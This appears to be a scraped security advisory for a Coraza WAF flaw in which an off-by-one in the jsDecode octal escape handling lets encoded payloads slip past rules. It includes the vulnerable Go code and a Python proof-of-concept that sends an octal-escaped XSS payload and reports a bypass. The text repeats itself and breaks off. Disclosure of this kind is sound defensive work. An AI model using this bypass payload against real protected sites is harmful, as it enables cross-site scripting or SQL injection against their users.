CVE-2026-104774

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Summary

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.

Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.

Details

Vulnerable code: internal/transformations/js_decode.go:64-70.

case (i+1 < inputLen) && isodigit(input[i+1]):
    /* \OOO (only one byte, \000 - \377) */
    buf := make([]byte, 3)
    j := 0

    for (i+1+j < inputLen) && (j < 3) {
        buf[j] = input[i+j]     // this should be `input[i+1+j]`
        j++
        if !isodigit(input[i+j]) {
            break
        }
    }

This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.

For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].

This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255

// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8)  // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8)   // nn = 255 = 0xFF

PoC

Test Environment

Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.

PoC Executable Script

#!/usr/bin/env python3
import urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"

normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"

print(f"[Normal XSS: {normal_url}")
try:
    urllib.request.urlopen(normal_url)
    print("  Response: 200 ")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
    urllib.request.urlopen(octal_url)
    print("  Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

output:

  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
  Response: 403
 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
  Response: 200 (BYPASS)

Proof

• Normal…

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.

Summary

The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.

Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.

Details

Vulnerable code: internal/transformations/js_decode.go:64-70.

case (i+1 < inputLen) && isodigit(input[i+1]):
    /* \OOO (only one byte, \000 - \377) */
    buf := make([]byte, 3)
    j := 0

    for (i+1+j < inputLen) && (j < 3) {
        buf[j] = input[i+j]     // this should be `input[i+1+j]`
        j++
        if !isodigit(input[i+j]) {
            break
        }
    }

This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.

For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].

This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255

// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8)  // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8)   // nn = 255 = 0xFF

PoC

Test Environment

Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.

PoC Executable Script

#!/usr/bin/env python3
import urllib.request, sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"

normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"

print(f"[Normal XSS: {normal_url}")
try:
    urllib.request.urlopen(normal_url)
    print("  Response: 200 ")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
    urllib.request.urlopen(octal_url)
    print("  Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
    print(f"  Response: {e.code}")

output:

  Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
  Response: 403
 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
  Response: 200 (BYPASS)

Proof

• Normal…

Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass in github.com/corazawaf/coraza